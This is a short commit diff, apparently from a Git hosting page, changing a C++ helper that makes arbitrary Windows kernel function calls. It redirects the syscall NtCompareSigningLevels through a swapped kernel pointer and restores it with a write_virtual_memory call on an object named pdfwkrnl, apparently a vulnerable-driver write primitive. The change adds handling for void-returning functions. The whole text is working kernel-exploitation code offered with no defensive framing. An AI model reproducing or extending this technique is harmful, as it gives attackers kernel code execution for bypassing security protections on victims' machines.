Update entry.cpp
void function calling shit
This commit is contained in:
@@ -27,13 +27,18 @@ T call_kernel_function(const char* function_name, Args... args){
|
|||||||
FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, "NtCompareSigningLevels");
|
FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, "NtCompareSigningLevels");
|
||||||
|
|
||||||
using FuncPtr = T(__stdcall*)(Args...);
|
using FuncPtr = T(__stdcall*)(Args...);
|
||||||
FuncPtr func = reinterpret_cast<FuncPtr>(NtCompareSigningLevels);
|
if constexpr (std::is_void_v<T>) {
|
||||||
|
auto func = reinterpret_cast<void(__stdcall*)(Args...)>(NtCompareSigningLevels);
|
||||||
T return_value = func(args...);
|
func(args...);
|
||||||
|
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
|
||||||
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t); // swap back
|
return T{};
|
||||||
|
}
|
||||||
return return_value;
|
else {
|
||||||
|
auto func = reinterpret_cast<FuncPtr>(NtCompareSigningLevels);
|
||||||
|
T return_value = func(args...);
|
||||||
|
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
|
||||||
|
return return_value;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
|
|||||||
Reference in New Issue
Block a user